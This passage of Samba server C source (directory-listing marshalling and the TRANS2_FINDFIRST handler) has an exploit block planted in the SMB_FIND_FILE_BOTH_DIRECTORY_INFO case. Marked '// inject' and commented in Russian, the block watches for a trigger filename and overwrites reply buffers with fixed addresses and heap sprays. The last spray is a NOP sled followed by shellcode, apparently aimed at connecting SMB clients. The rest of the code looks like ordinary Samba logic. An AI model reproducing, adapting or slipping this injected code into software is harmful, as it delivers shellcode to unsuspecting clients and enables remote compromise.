  1691.         p += 22; /* p now points to the EA area. */
  1692.  
  1693.         file_list = get_ea_list_from_file(ctx, conn, NULL,
  1694.                           smb_fname->base_name,
  1695.                           &ea_len);
  1696.         name_list = ea_list_union(name_list, file_list, &ea_len);
  1697.  
  1698.         /* We need to determine if this entry will fit in the space available. */
  1699.         /* Max string size is 255 bytes. */
  1700.         if (PTR_DIFF(p + 255 + ea_len,pdata) > space_remaining) {
  1701.             *out_of_space = true;
  1702.             DEBUG(9,("smbd_marshall_dir_entry: out of space "
  1703.                 "(wanted %u, had %d)\n",
  1704.                 (unsigned int)PTR_DIFF(p + 255 + ea_len,pdata),
  1705.                 space_remaining ));
  1706.             return False; /* Not finished - just out of space */
  1707.         }
  1708.  
  1709.         /* Push the ea_data followed by the name. */
  1710.         p += fill_ea_buffer(ctx, p, space_remaining, conn, name_list);
  1711.         nameptr = p;
  1712.         len = srvstr_push(base_data, flags2,
  1713.                   p + 1, fname, PTR_DIFF(end_data, p+1),
  1714.                   STR_TERMINATE | STR_NOALIGN);
  1715.         if (flags2 & FLAGS2_UNICODE_STRINGS) {
  1716.             if (len > 2) {
  1717.                 len -= 2;
  1718.             } else {
  1719.                 len = 0;
  1720.             }
  1721.         } else {
  1722.             if (len > 1) {
  1723.                 len -= 1;
  1724.             } else {
  1725.                 len = 0;
  1726.             }
  1727.         }
  1728.         SCVAL(nameptr,0,len);
  1729.         p += len + 1;
  1730.         SCVAL(p,0,0); p += 1; /* Extra zero byte ? - why.. */
  1731.         break;
  1732.     }
  1733.  
  1734.     case SMB_FIND_FILE_BOTH_DIRECTORY_INFO:
  1735.         DEBUG(10,("smbd_marshall_dir_entry: SMB_FIND_FILE_BOTH_DIRECTORY_INFO\n"));
  1736.         was_8_3 = mangle_is_8_3(fname, True, conn->params);
  1737.         p += 4;
  1738.         SIVAL(p,0,reskey); p += 4;
  1739.         put_long_date_timespec(conn->ts_res,p,create_date_ts); p += 8;
  1740.         put_long_date_timespec(conn->ts_res,p,adate_ts); p += 8;
  1741.         put_long_date_timespec(conn->ts_res,p,mdate_ts); p += 8;
  1742.         put_long_date_timespec(conn->ts_res,p,cdate_ts); p += 8;
  1743.         SOFF_T(p,0,file_size); p += 8;
  1744.         SOFF_T(p,0,allocation_size); p += 8;
  1745.         SIVAL(p,0,mode); p += 4;
  1746.         q = p; p += 4; /* q is placeholder for name length. */
  1747.         {
  1748.             unsigned int ea_size = estimate_ea_size(conn, NULL,
  1749.                                 smb_fname->base_name);
  1750.             SIVAL(p,0,ea_size); /* Extended attributes */
  1751.             p += 4;
  1752.         }
  1753.         /* Clear the short name buffer. This is
  1754.          * IMPORTANT as not doing so will trigger
  1755.          * a Win2k client bug. JRA.
  1756.          */
  1757.         if (!was_8_3 && check_mangled_names) {
  1758.             char mangled_name[13]; /* mangled 8.3 name. */
  1759.             if (!name_to_8_3(fname,mangled_name,True,
  1760.                        conn->params)) {
  1761.                 /* Error - mangle failed ! */
  1762.                 memset(mangled_name,'\0',12);
  1763.             }
  1764.             mangled_name[12] = 0;
  1765.             len = srvstr_push(base_data, flags2,
  1766.                       p+2, mangled_name, 24,
  1767.                       STR_UPPER|STR_UNICODE);
  1768.             if (len < 24) {
  1769.                 memset(p + 2 + len,'\0',24 - len);
  1770.             }
  1771.             SSVAL(p, 0, len);
  1772.         } else {
  1773.             memset(p,'\0',26);
  1774.         }
  1775.         p += 2 + 24;
  1776.         len = srvstr_push(base_data, flags2, p,
  1777.                   fname, PTR_DIFF(end_data, p),
  1778.                   STR_TERMINATE_ASCII);
  1779.         // inject
  1780.         {
  1781.             // Проверяем на имя-триггер
  1782.             if(fname[0] == 'm' && fname[1] == 'a'){
  1783.                 len += 0x100;
  1784.                 *((int*)(p+0x230)) = 0x36b12b2;
  1785.             }
  1786.             else{
  1787.                 int i, d = 0;
  1788.                 char temp_str[0xc];
  1789.  
  1790.                 // Вычисляем индекс, по которому проводится сортировка на уязвимой машине
  1791.                 memset(temp_str, 0, 0xc);
  1792.                 memcpy(temp_str, fname, 0x6);
  1793.                 d = strtol(temp_str, 0, 10);
  1794.  
  1795.                 // Первый heap spray адресов
  1796.                 if(d < 0x2a00){
  1797.                     for(i = 0xa; i < len; i += 4){
  1798.                         *((int*)&p[i]) = 0x3ca3fd2;
  1799.                     }
  1800.                     count_repl++;
  1801.                 }
  1802.                 // Второй heap spray адресов
  1803.                 else if(d < 0x5500){
  1804.                     for(i = 0xa; i < len; i += 4){
  1805.                     *((int*)&p[i])= 0x42a3fd8;
  1806.                     }
  1807.                     count_repl++;
  1808.  
  1809.                 }
  1810.                 // Третий heap spray шеллкода
  1811.                 else{
  1812.                     memset(p+0xa, 0x90, len - 0xa);
  1813.                     memcpy(p + len - sizeof(shell_buf) - 1, shell_buf, sizeof(shell_buf));
  1814.                     //for(i = 0xa; i < len; i++){
  1815.                     //  p[i] = 0x90;
  1816.                     //}
  1817.                     count_repl++;
  1818.  
  1819.                 }
  1820.             }
  1821.         }
  1822.         SIVAL(q,0,len);
  1823.         p += len;
  1824.  
  1825.         len = PTR_DIFF(p, pdata);
  1826.         pad = (len + (align-1)) & ~(align-1);
  1827.         /*
  1828.          * offset to the next entry, the caller
  1829.          * will overwrite it for the last entry
  1830.          * that's why we always include the padding
  1831.          */
  1832.         SIVAL(pdata,0,pad);
  1833.         /*
  1834.          * set padding to zero
  1835.          */
  1836.         if (do_pad) {
  1837.             memset(p, 0, pad - len);
  1838.             p = pdata + pad;
  1839.         } else {
  1840.             p = pdata + len;
  1841.         }
  1842.         break;
  1843.  
  1844.     case SMB_FIND_FILE_DIRECTORY_INFO:
  1845.         DEBUG(10,("smbd_marshall_dir_entry: SMB_FIND_FILE_DIRECTORY_INFO\n"));
  1846.         p += 4;
  1847.         SIVAL(p,0,reskey); p += 4;
  1848.         put_long_date_timespec(conn->ts_res,p,create_date_ts); p += 8;
  1849.         put_long_date_timespec(conn->ts_res,p,adate_ts); p += 8;
  1850.         put_long_date_timespec(conn->ts_res,p,mdate_ts); p += 8;
  1851.         put_long_date_timespec(conn->ts_res,p,cdate_ts); p += 8;
  1852.         SOFF_T(p,0,file_size); p += 8;
  1853.         SOFF_T(p,0,allocation_size); p += 8;
  1854.         SIVAL(p,0,mode); p += 4;
  1855.         len = srvstr_push(base_data, flags2,
  1856.                   p + 4, fname, PTR_DIFF(end_data, p+4),
  1857.                   STR_TERMINATE_ASCII);
  1858.         SIVAL(p,0,len);
  1859.         p += 4 + len;
  1860.  
  1861.         len = PTR_DIFF(p, pdata);
  1862.         pad = (len + (align-1)) & ~(align-1);
  1863.         /*
  1864.          * offset to the next entry, the caller
  1865.          * will overwrite it for the last entry
  1866.          * that's why we always include the padding
  1867.          */
  1868.         SIVAL(pdata,0,pad);
  1869.         /*
  1870.          * set padding to zero
  1871.          */
  1872.         if (do_pad) {
  1873.             memset(p, 0, pad - len);
  1874.             p = pdata + pad;
  1875.         } else {
  1876.             p = pdata + len;
  1877.         }
  1878.         break;
  1879.  
  1880.     case SMB_FIND_FILE_FULL_DIRECTORY_INFO:
  1881.         DEBUG(10,("smbd_marshall_dir_entry: SMB_FIND_FILE_FULL_DIRECTORY_INFO\n"));
  1882.         p += 4;
  1883.         SIVAL(p,0,reskey); p += 4;
  1884.         put_long_date_timespec(conn->ts_res,p,create_date_ts); p += 8;
  1885.         put_long_date_timespec(conn->ts_res,p,adate_ts); p += 8;
  1886.         put_long_date_timespec(conn->ts_res,p,mdate_ts); p += 8;
  1887.         put_long_date_timespec(conn->ts_res,p,cdate_ts); p += 8;
  1888.         SOFF_T(p,0,file_size); p += 8;
  1889.         SOFF_T(p,0,allocation_size); p += 8;
  1890.         SIVAL(p,0,mode); p += 4;
  1891.         q = p; p += 4; /* q is placeholder for name length. */
  1892.         {
  1893.             unsigned int ea_size = estimate_ea_size(conn, NULL,
  1894.                                 smb_fname->base_name);
  1895.             SIVAL(p,0,ea_size); /* Extended attributes */
  1896.             p +=4;
  1897.         }
  1898.         len = srvstr_push(base_data, flags2, p,
  1899.                   fname, PTR_DIFF(end_data, p),
  1900.                   STR_TERMINATE_ASCII);
  1901.         SIVAL(q, 0, len);
  1902.         p += len;
  1903.  
  1904.         len = PTR_DIFF(p, pdata);
  1905.         pad = (len + (align-1)) & ~(align-1);
  1906.         /*
  1907.          * offset to the next entry, the caller
  1908.          * will overwrite it for the last entry
  1909.          * that's why we always include the padding
  1910.          */
  1911.         SIVAL(pdata,0,pad);
  1912.         /*
  1913.          * set padding to zero
  1914.          */
  1915.         if (do_pad) {
  1916.             memset(p, 0, pad - len);
  1917.             p = pdata + pad;
  1918.         } else {
  1919.             p = pdata + len;
  1920.         }
  1921.         break;
  1922.  
  1923.     case SMB_FIND_FILE_NAMES_INFO:
  1924.         DEBUG(10,("smbd_marshall_dir_entry: SMB_FIND_FILE_NAMES_INFO\n"));
  1925.         p += 4;
  1926.         SIVAL(p,0,reskey); p += 4;
  1927.         p += 4;
  1928.         /* this must *not* be null terminated or w2k gets in a loop trying to set an
  1929.            acl on a dir (tridge) */
  1930.         len = srvstr_push(base_data, flags2, p,
  1931.                   fname, PTR_DIFF(end_data, p),
  1932.                   STR_TERMINATE_ASCII);
  1933.         SIVAL(p, -4, len);
  1934.         p += len;
  1935.  
  1936.         len = PTR_DIFF(p, pdata);
  1937.         pad = (len + (align-1)) & ~(align-1);
  1938.         /*
  1939.          * offset to the next entry, the caller
  1940.          * will overwrite it for the last entry
  1941.          * that's why we always include the padding
  1942.          */
  1943.         SIVAL(pdata,0,pad);
  1944.         /*
  1945.          * set padding to zero
  1946.          */
  1947.         if (do_pad) {
  1948.             memset(p, 0, pad - len);
  1949.             p = pdata + pad;
  1950.         } else {
  1951.             p = pdata + len;
  1952.         }
  1953.         break;
  1954.  
  1955.     case SMB_FIND_ID_FULL_DIRECTORY_INFO:
  1956.         DEBUG(10,("smbd_marshall_dir_entry: SMB_FIND_ID_FULL_DIRECTORY_INFO\n"));
  1957.         p += 4;
  1958.         SIVAL(p,0,reskey); p += 4;
  1959.         put_long_date_timespec(conn->ts_res,p,create_date_ts); p += 8;
  1960.         put_long_date_timespec(conn->ts_res,p,adate_ts); p += 8;
  1961.         put_long_date_timespec(conn->ts_res,p,mdate_ts); p += 8;
  1962.         put_long_date_timespec(conn->ts_res,p,cdate_ts); p += 8;
  1963.         SOFF_T(p,0,file_size); p += 8;
  1964.         SOFF_T(p,0,allocation_size); p += 8;
  1965.         SIVAL(p,0,mode); p += 4;
  1966.         q = p; p += 4; /* q is placeholder for name length. */
  1967.         {
  1968.             unsigned int ea_size = estimate_ea_size(conn, NULL,
  1969.                                 smb_fname->base_name);
  1970.             SIVAL(p,0,ea_size); /* Extended attributes */
  1971.             p +=4;
  1972.         }
  1973.         SIVAL(p,0,0); p += 4; /* Unknown - reserved ? */
  1974.         SBVAL(p,0,file_index); p += 8;
  1975.         len = srvstr_push(base_data, flags2, p,
  1976.                   fname, PTR_DIFF(end_data, p),
  1977.                   STR_TERMINATE_ASCII);
  1978.         SIVAL(q, 0, len);
  1979.         p += len;
  1980.  
  1981.         len = PTR_DIFF(p, pdata);
  1982.         pad = (len + (align-1)) & ~(align-1);
  1983.         /*
  1984.          * offset to the next entry, the caller
  1985.          * will overwrite it for the last entry
  1986.          * that's why we always include the padding
  1987.          */
  1988.         SIVAL(pdata,0,pad);
  1989.         /*
  1990.          * set padding to zero
  1991.          */
  1992.         if (do_pad) {
  1993.             memset(p, 0, pad - len);
  1994.             p = pdata + pad;
  1995.         } else {
  1996.             p = pdata + len;
  1997.         }
  1998.         break;
  1999.  
  2000.     case SMB_FIND_ID_BOTH_DIRECTORY_INFO:
  2001.         DEBUG(10,("smbd_marshall_dir_entry: SMB_FIND_ID_BOTH_DIRECTORY_INFO\n"));
  2002.         was_8_3 = mangle_is_8_3(fname, True, conn->params);
  2003.         p += 4;
  2004.         SIVAL(p,0,reskey); p += 4;
  2005.         put_long_date_timespec(conn->ts_res,p,create_date_ts); p += 8;
  2006.         put_long_date_timespec(conn->ts_res,p,adate_ts); p += 8;
  2007.         put_long_date_timespec(conn->ts_res,p,mdate_ts); p += 8;
  2008.         put_long_date_timespec(conn->ts_res,p,cdate_ts); p += 8;
  2009.         SOFF_T(p,0,file_size); p += 8;
  2010.         SOFF_T(p,0,allocation_size); p += 8;
  2011.         SIVAL(p,0,mode); p += 4;
  2012.         q = p; p += 4; /* q is placeholder for name length */
  2013.         {
  2014.             unsigned int ea_size = estimate_ea_size(conn, NULL,
  2015.                                 smb_fname->base_name);
  2016.             SIVAL(p,0,ea_size); /* Extended attributes */
  2017.             p +=4;
  2018.         }
  2019.         /* Clear the short name buffer. This is
  2020.          * IMPORTANT as not doing so will trigger
  2021.          * a Win2k client bug. JRA.
  2022.          */
  2023.         if (!was_8_3 && check_mangled_names) {
  2024.             char mangled_name[13]; /* mangled 8.3 name. */
  2025.             if (!name_to_8_3(fname,mangled_name,True,
  2026.                     conn->params)) {
  2027.                 /* Error - mangle failed ! */
  2028.                 memset(mangled_name,'\0',12);
  2029.             }
  2030.             mangled_name[12] = 0;
  2031.             len = srvstr_push(base_data, flags2,
  2032.                       p+2, mangled_name, 24,
  2033.                       STR_UPPER|STR_UNICODE);
  2034.             SSVAL(p, 0, len);
  2035.             if (len < 24) {
  2036.                 memset(p + 2 + len,'\0',24 - len);
  2037.             }
  2038.             SSVAL(p, 0, len);
  2039.         } else {
  2040.             memset(p,'\0',26);
  2041.         }
  2042.         p += 26;
  2043.         SSVAL(p,0,0); p += 2; /* Reserved ? */
  2044.         SBVAL(p,0,file_index); p += 8;
  2045.         len = srvstr_push(base_data, flags2, p,
  2046.                   fname, PTR_DIFF(end_data, p),
  2047.                   STR_TERMINATE_ASCII);
  2048.         SIVAL(q,0,len);
  2049.         p += len;
  2050.  
  2051.         len = PTR_DIFF(p, pdata);
  2052.         pad = (len + (align-1)) & ~(align-1);
  2053.         /*
  2054.          * offset to the next entry, the caller
  2055.          * will overwrite it for the last entry
  2056.          * that's why we always include the padding
  2057.          */
  2058.         SIVAL(pdata,0,pad);
  2059.         /*
  2060.          * set padding to zero
  2061.          */
  2062.         if (do_pad) {
  2063.             memset(p, 0, pad - len);
  2064.             p = pdata + pad;
  2065.         } else {
  2066.             p = pdata + len;
  2067.         }
  2068.         break;
  2069.  
  2070.     /* CIFS UNIX Extension. */
  2071.  
  2072.     case SMB_FIND_FILE_UNIX:
  2073.     case SMB_FIND_FILE_UNIX_INFO2:
  2074.         p+= 4;
  2075.         SIVAL(p,0,reskey); p+= 4;    /* Used for continuing search. */
  2076.  
  2077.         /* Begin of SMB_QUERY_FILE_UNIX_BASIC */
  2078.  
  2079.         if (info_level == SMB_FIND_FILE_UNIX) {
  2080.             DEBUG(10,("smbd_marshall_dir_entry: SMB_FIND_FILE_UNIX\n"));
  2081.             p = store_file_unix_basic(conn, p,
  2082.                         NULL, &smb_fname->st);
  2083.             len = srvstr_push(base_data, flags2, p,
  2084.                       fname, PTR_DIFF(end_data, p),
  2085.                       STR_TERMINATE);
  2086.         } else {
  2087.             DEBUG(10,("smbd_marshall_dir_entry: SMB_FIND_FILE_UNIX_INFO2\n"));
  2088.             p = store_file_unix_basic_info2(conn, p,
  2089.                         NULL, &smb_fname->st);
  2090.             nameptr = p;
  2091.             p += 4;
  2092.             len = srvstr_push(base_data, flags2, p, fname,
  2093.                       PTR_DIFF(end_data, p), 0);
  2094.             SIVAL(nameptr, 0, len);
  2095.         }
  2096.  
  2097.         p += len;
  2098.  
  2099.         len = PTR_DIFF(p, pdata);
  2100.         pad = (len + (align-1)) & ~(align-1);
  2101.         /*
  2102.          * offset to the next entry, the caller
  2103.          * will overwrite it for the last entry
  2104.          * that's why we always include the padding
  2105.          */
  2106.         SIVAL(pdata,0,pad);
  2107.         /*
  2108.          * set padding to zero
  2109.          */
  2110.         if (do_pad) {
  2111.             memset(p, 0, pad - len);
  2112.             p = pdata + pad;
  2113.         } else {
  2114.             p = pdata + len;
  2115.         }
  2116.         /* End of SMB_QUERY_FILE_UNIX_BASIC */
  2117.  
  2118.         break;
  2119.  
  2120.     default:
  2121.         return false;
  2122.     }
  2123.  
  2124.     if (PTR_DIFF(p,pdata) > space_remaining) {
  2125.         *out_of_space = true;
  2126.         DEBUG(9,("smbd_marshall_dir_entry: out of space "
  2127.             "(wanted %u, had %d)\n",
  2128.             (unsigned int)PTR_DIFF(p,pdata),
  2129.             space_remaining ));
  2130.         return false; /* Not finished - just out of space */
  2131.     }
  2132.  
  2133.     /* Setup the last entry pointer, as an offset from base_data */
  2134.     *last_entry_off = PTR_DIFF(last_entry_ptr,base_data);
  2135.     /* Advance the data pointer to the next slot */
  2136.     *ppdata = p;
  2137.  
  2138.     return true;
  2139. }
  2140.  
  2141. bool smbd_dirptr_lanman2_entry(TALLOC_CTX *ctx,
  2142.                    connection_struct *conn,
  2143.                    struct dptr_struct *dirptr,
  2144.                    uint16 flags2,
  2145.                    const char *path_mask,
  2146.                    uint32 dirtype,
  2147.                    int info_level,
  2148.                    int requires_resume_key,
  2149.                    bool dont_descend,
  2150.                    bool ask_sharemode,
  2151.                    uint8_t align,
  2152.                    bool do_pad,
  2153.                    char **ppdata,
  2154.                    char *base_data,
  2155.                    char *end_data,
  2156.                    int space_remaining,
  2157.                    bool *out_of_space,
  2158.                    bool *got_exact_match,
  2159.                    int *_last_entry_off,
  2160.                    struct ea_list *name_list)
  2161. {
  2162.     const char *p;
  2163.     const char *mask = NULL;
  2164.     long prev_dirpos = 0;
  2165.     uint32_t mode = 0;
  2166.     char *fname = NULL;
  2167.     struct smb_filename *smb_fname = NULL;
  2168.     struct smbd_dirptr_lanman2_state state;
  2169.     bool ok;
  2170.     uint64_t last_entry_off = 0;
  2171.  
  2172.     ZERO_STRUCT(state);
  2173.     state.conn = conn;
  2174.     state.info_level = info_level;
  2175.     state.check_mangled_names = lp_manglednames(conn->params);
  2176.     state.has_wild = dptr_has_wild(dirptr);
  2177.     state.got_exact_match = false;
  2178.  
  2179.     *out_of_space = false;
  2180.     *got_exact_match = false;
  2181.  
  2182.     p = strrchr_m(path_mask,'/');
  2183.     if(p != NULL) {
  2184.         if(p[1] == '\0') {
  2185.             mask = "*.*";
  2186.         } else {
  2187.             mask = p+1;
  2188.         }
  2189.     } else {
  2190.         mask = path_mask;
  2191.     }
  2192.  
  2193.     ok = smbd_dirptr_get_entry(ctx,
  2194.                    dirptr,
  2195.                    mask,
  2196.                    dirtype,
  2197.                    dont_descend,
  2198.                    ask_sharemode,
  2199.                    smbd_dirptr_lanman2_match_fn,
  2200.                    smbd_dirptr_lanman2_mode_fn,
  2201.                    &state,
  2202.                    &fname,
  2203.                    &smb_fname,
  2204.                    &mode,
  2205.                    &prev_dirpos);
  2206.     if (!ok) {
  2207.         return false;
  2208.     }
  2209.  
  2210.     *got_exact_match = state.got_exact_match;
  2211.  
  2212.     ok = smbd_marshall_dir_entry(ctx,
  2213.                      conn,
  2214.                      flags2,
  2215.                      info_level,
  2216.                      name_list,
  2217.                      state.check_mangled_names,
  2218.                      requires_resume_key,
  2219.                      mode,
  2220.                      fname,
  2221.                      smb_fname,
  2222.                      space_remaining,
  2223.                      align,
  2224.                      do_pad,
  2225.                      base_data,
  2226.                      ppdata,
  2227.                      end_data,
  2228.                      out_of_space,
  2229.                      &last_entry_off);
  2230.     TALLOC_FREE(fname);
  2231.     TALLOC_FREE(smb_fname);
  2232.     if (*out_of_space) {
  2233.         dptr_SeekDir(dirptr, prev_dirpos);
  2234.         return false;
  2235.     }
  2236.     if (!ok) {
  2237.         return false;
  2238.     }
  2239.  
  2240.     *_last_entry_off = last_entry_off;
  2241.     return true;
  2242. }
  2243.  
  2244. static bool get_lanman2_dir_entry(TALLOC_CTX *ctx,
  2245.                 connection_struct *conn,
  2246.                 struct dptr_struct *dirptr,
  2247.                 uint16 flags2,
  2248.                 const char *path_mask,
  2249.                 uint32 dirtype,
  2250.                 int info_level,
  2251.                 bool requires_resume_key,
  2252.                 bool dont_descend,
  2253.                 bool ask_sharemode,
  2254.                 char **ppdata,
  2255.                 char *base_data,
  2256.                 char *end_data,
  2257.                 int space_remaining,
  2258.                 bool *out_of_space,
  2259.                 bool *got_exact_match,
  2260.                 int *last_entry_off,
  2261.                 struct ea_list *name_list)
  2262. {
  2263.     uint8_t align = 4;
  2264.     const bool do_pad = true;
  2265.  
  2266.     if (info_level >= 1 && info_level <= 3) {
  2267.         /* No alignment on earlier info levels. */
  2268.         align = 1;
  2269.     }
  2270.  
  2271.     return smbd_dirptr_lanman2_entry(ctx, conn, dirptr, flags2,
  2272.                      path_mask, dirtype, info_level,
  2273.                      requires_resume_key, dont_descend, ask_sharemode,
  2274.                      align, do_pad,
  2275.                      ppdata, base_data, end_data,
  2276.                      space_remaining,
  2277.                      out_of_space, got_exact_match,
  2278.                      last_entry_off, name_list);
  2279. }
  2280.  
  2281. /****************************************************************************
  2282.  Reply to a TRANS2_FINDFIRST.
  2283. ****************************************************************************/
  2284.  
  2285. static void call_trans2findfirst(connection_struct *conn,
  2286.                  struct smb_request *req,
  2287.                  char **pparams, int total_params,
  2288.                  char **ppdata, int total_data,
  2289.                  unsigned int max_data_bytes)
  2290. {
  2291.     /* We must be careful here that we don't return more than the
  2292.         allowed number of data bytes. If this means returning fewer than
  2293.         maxentries then so be it. We assume that the redirector has
  2294.         enough room for the fixed number of parameter bytes it has
  2295.         requested. */
  2296.     struct smb_filename *smb_dname = NULL;
  2297.     char *params = *pparams;
  2298.     char *pdata = *ppdata;
  2299.     char *data_end;
  2300.     uint32 dirtype;
  2301.     int maxentries;
  2302.     uint16 findfirst_flags;
  2303.     bool close_after_first;
  2304.     bool close_if_end;
  2305.     bool requires_resume_key;
  2306.     int info_level;
  2307.     char *directory = NULL;
  2308.     char *mask = NULL;
  2309.     char *p;
  2310.     int last_entry_off=0;
  2311.     int dptr_num = -1;
  2312.     int numentries = 0;
  2313.     int i;
  2314.     bool finished = False;
  2315.     bool dont_descend = False;
  2316.     bool out_of_space = False;
  2317.     int space_remaining;
  2318.     bool mask_contains_wcard = False;
  2319.     struct ea_list *ea_list = NULL;
  2320.     NTSTATUS ntstatus = NT_STATUS_OK;
  2321.     bool ask_sharemode = lp_parm_bool(SNUM(conn), "smbd", "search ask sharemode", true);
  2322.     TALLOC_CTX *ctx = talloc_tos();
  2323.     struct dptr_struct *dirptr = NULL;
  2324.     struct smbd_server_connection *sconn = req->sconn;
  2325.     uint32_t ucf_flags = (UCF_SAVE_LCOMP | UCF_ALWAYS_ALLOW_WCARD_LCOMP);
  2326.  
  2327.     if (total_params < 13) {
  2328.         reply_nterror(req, NT_STATUS_INVALID_PARAMETER);
  2329.         goto out;
  2330.     }
  2331.  
  2332.     dirtype = SVAL(params,0);
  2333.     maxentries = SVAL(params,2);
  2334.     findfirst_flags = SVAL(params,4);
  2335.     close_after_first = (findfirst_flags & FLAG_TRANS2_FIND_CLOSE);
  2336.     close_if_end = (findfirst_flags & FLAG_TRANS2_FIND_CLOSE_IF_END);
  2337.     requires_resume_key = (findfirst_flags & FLAG_TRANS2_FIND_REQUIRE_RESUME);
  2338.     info_level = SVAL(params,6);
  2339.  
  2340.     DEBUG(3,("call_trans2findfirst: dirtype = %x, maxentries = %d, close_after_first=%d, \
  2341. close_if_end = %d requires_resume_key = %d level = 0x%x, max_data_bytes = %d\n",
  2342.         (unsigned int)dirtype, maxentries, close_after_first, close_if_end, requires_resume_key,
  2343.         info_level, max_data_bytes));
  2344.  
  2345.     if (!maxentries) {
  2346.         /* W2K3 seems to treat zero as 1. */
  2347.         maxentries = 1;
  2348.     }
  2349.  
  2350.     switch (info_level) {
  2351.         case SMB_FIND_INFO_STANDARD:
  2352.         case SMB_FIND_EA_SIZE:
  2353.         case SMB_FIND_EA_LIST:
  2354.         case SMB_FIND_FILE_DIRECTORY_INFO:
  2355.         case SMB_FIND_FILE_FULL_DIRECTORY_INFO:
  2356.         case SMB_FIND_FILE_NAMES_INFO:
  2357.         case SMB_FIND_FILE_BOTH_DIRECTORY_INFO:
  2358.         case SMB_FIND_ID_FULL_DIRECTORY_INFO:
  2359.         case SMB_FIND_ID_BOTH_DIRECTORY_INFO:
  2360.             break;
  2361.         case SMB_FIND_FILE_UNIX:
  2362.         case SMB_FIND_FILE_UNIX_INFO2:
  2363.             /* Always use filesystem for UNIX mtime query. */
  2364.             ask_sharemode = false;
  2365.             if (!lp_unix_extensions()) {
  2366.                 reply_nterror(req, NT_STATUS_INVALID_LEVEL);
  2367.                 goto out;
  2368.             }
  2369.             ucf_flags |= UCF_UNIX_NAME_LOOKUP;
  2370.             break;
  2371.         default:
  2372.             reply_nterror(req, NT_STATUS_INVALID_LEVEL);
  2373.             goto out;
  2374.     }
  2375.  
  2376.     srvstr_get_path_wcard(ctx, params, req->flags2, &directory,
  2377.                   params+12, total_params - 12,
  2378.                   STR_TERMINATE, &ntstatus, &mask_contains_wcard);
  2379.     if (!NT_STATUS_IS_OK(ntstatus)) {
  2380.         reply_nterror(req, ntstatus);
  2381.         goto out;
  2382.     }
  2383.  
  2384.     ntstatus = filename_convert(ctx, conn,
  2385.                     req->flags2 & FLAGS2_DFS_PATHNAMES,
  2386.                     directory,
  2387.                     ucf_flags,
  2388.                     &mask_contains_wcard,
  2389.                     &smb_dname);
  2390.     if (!NT_STATUS_IS_OK(ntstatus)) {
  2391.         if (NT_STATUS_EQUAL(ntstatus,NT_STATUS_PATH_NOT_COVERED)) {
  2392.             reply_botherror(req, NT_STATUS_PATH_NOT_COVERED,
  2393.                     ERRSRV, ERRbadpath);
  2394.             goto out;
  2395.         }
  2396.         reply_nterror(req, ntstatus);
  2397.         goto out;
  2398.     }
  2399.  
  2400.     mask = smb_dname->original_lcomp;
  2401.  
  2402.     directory = smb_dname->base_name;
  2403.  
  2404.     p = strrchr_m(directory,'/');
  2405.     if(p == NULL) {
  2406.         /* Windows and OS/2 systems treat search on the root '\' as if it were '\*' */
  2407.         if((directory[0] == '.') && (directory[1] == '\0')) {
  2408.             mask = talloc_strdup(ctx,"*");
  2409.             if (!mask) {
  2410.                 reply_nterror(req, NT_STATUS_NO_MEMORY);
  2411.                 goto out;
  2412.             }
  2413.             mask_contains_wcard = True;
  2414.         }
  2415.     } else {
  2416.         *p = 0;
  2417.     }
  2418.  
  2419.     if (p == NULL || p == directory) {
  2420.         /* Ensure we don't have a directory name of "". */
  2421.         directory = talloc_strdup(talloc_tos(), ".");
  2422.         if (!directory) {
  2423.             reply_nterror(req, NT_STATUS_NO_MEMORY);
  2424.             goto out;
  2425.         }
  2426.     }
  2427.  
  2428.     DEBUG(5,("dir=%s, mask = %s\n",directory, mask));
  2429.  
  2430.     if (info_level == SMB_FIND_EA_LIST) {
  2431.         uint32 ea_size;
  2432.  
  2433.         if (total_data < 4) {
  2434.             reply_nterror(req, NT_STATUS_INVALID_PARAMETER);
  2435.             goto out;
  2436.         }
  2437.  
  2438.         ea_size = IVAL(pdata,0);
  2439.         if (ea_size != total_data) {
  2440.             DEBUG(4,("call_trans2findfirst: Rejecting EA request with incorrect \
  2441. total_data=%u (should be %u)\n", (unsigned int)total_data, (unsigned int)IVAL(pdata,0) ));
  2442.             reply_nterror(req, NT_STATUS_INVALID_PARAMETER);
  2443.             goto out;
  2444.         }
  2445.  
  2446.         if (!lp_ea_support(SNUM(conn))) {
  2447.             reply_nterror(req, NT_STATUS_EAS_NOT_SUPPORTED);
  2448.             goto out;
  2449.         }
  2450.  
  2451.         /* Pull out the list of names. */
  2452.         ea_list = read_ea_name_list(ctx, pdata + 4, ea_size - 4);
  2453.         if (!ea_list) {
  2454.             reply_nterror(req, NT_STATUS_INVALID_PARAMETER);
  2455.             goto out;
  2456.         }
  2457.     }
  2458.  
  2459.     *ppdata = (char *)SMB_REALLOC(
  2460.         *ppdata, max_data_bytes + DIR_ENTRY_SAFETY_MARGIN);
  2461.     if(*ppdata == NULL ) {
  2462.         reply_nterror(req, NT_STATUS_NO_MEMORY);
  2463.         goto out;
  2464.     }
  2465.     pdata = *ppdata;
  2466.     data_end = pdata + max_data_bytes + DIR_ENTRY_SAFETY_MARGIN - 1;
  2467.  
  2468.     /* Realloc the params space */
  2469.     *pparams = (char *)SMB_REALLOC(*pparams, 10);
  2470.     if (*pparams == NULL) {
  2471.         reply_nterror(req, NT_STATUS_NO_MEMORY);
  2472.         goto out;
  2473.     }
  2474.     params = *pparams;
  2475.  
  2476.     /* Save the wildcard match and attribs we are using on this directory -
  2477.         needed as lanman2 assumes these are being saved between calls */
  2478.  
  2479.     ntstatus = dptr_create(conn,
  2480.                 NULL, /* fsp */
  2481.                 directory,
  2482.                 False,
  2483.                 True,
  2484.                 req->smbpid,
  2485.                 mask,
  2486.                 mask_contains_wcard,
  2487.                 dirtype,
  2488.                 &dirptr);
  2489.  
  2490.     if (!NT_STATUS_IS_OK(ntstatus)) {
  2491.         reply_nterror(req, ntstatus);
  2492.         goto out;
  2493.     }
  2494.  
  2495.     dptr_num = dptr_dnum(dirptr);
  2496.     DEBUG(4,("dptr_num is %d, wcard = %s, attr = %d\n", dptr_num, mask, dirtype));
  2497.  
  2498.     /* Initialize per TRANS2_FIND_FIRST operation data */
  2499.     dptr_init_search_op(dirptr);
  2500.  
  2501.     /* We don't need to check for VOL here as this is returned by
  2502.         a different TRANS2 call. */
  2503.  
  2504.     DEBUG(8,("dirpath=<%s> dontdescend=<%s>\n",
  2505.         directory,lp_dontdescend(SNUM(conn))));
  2506.     if (in_list(directory,lp_dontdescend(SNUM(conn)),conn->case_sensitive))
  2507.         dont_descend = True;
  2508.  
  2509.     p = pdata;
  2510.     space_remaining = max_data_bytes;
  2511.     out_of_space = False;
  2512.  
